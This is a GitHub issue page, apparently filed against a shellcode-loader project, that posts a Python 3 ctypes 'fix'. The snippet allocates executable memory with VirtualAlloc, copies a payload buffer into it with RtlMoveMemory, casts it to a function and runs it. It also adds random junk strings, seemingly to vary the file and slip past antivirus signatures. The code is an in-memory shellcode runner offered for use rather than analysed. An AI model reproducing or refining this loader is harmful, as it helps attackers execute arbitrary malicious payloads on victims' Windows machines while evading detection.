Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

解决python3 ctypes类问题 #16

Open
KingSF5 opened this issue Jun 27, 2021 · 0 comments
Open

解决python3 ctypes类问题 #16

KingSF5 opened this issue Jun 27, 2021 · 0 comments

Comments

@KingSF5
Copy link
Contributor

KingSF5 commented Jun 27, 2021

'''
修复ctypes问题
'''
windll.kernel32.VirtualAlloc.restype = c_void_p
windll.kernel32.RtlCopyMemory.argtypes = (c_void_p, c_void_p, c_size_t)

VirtualAlloc = windll.kernel32.VirtualAlloc
VirtualProtect = windll.kernel32.VirtualProtect
useless += random.choice(useless)
whnd = windll.kernel32.GetConsoleWindow()
RtlMoveMemory = windll.kernel32.RtlMoveMemory
memHscode = VirtualAlloc(c_int(0), c_int(len(code)), c_int(0x3000), c_int(0x40))
buf = (c_char * len(code)).from_buffer(code)
useless += random.choice(useless)[:-1]
RtlMoveMemory(c_void_p(memHscode), buf, c_int(len(code)))
runcode = cast(memHscode, CFUNCTYPE(c_void_p))
runcode()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant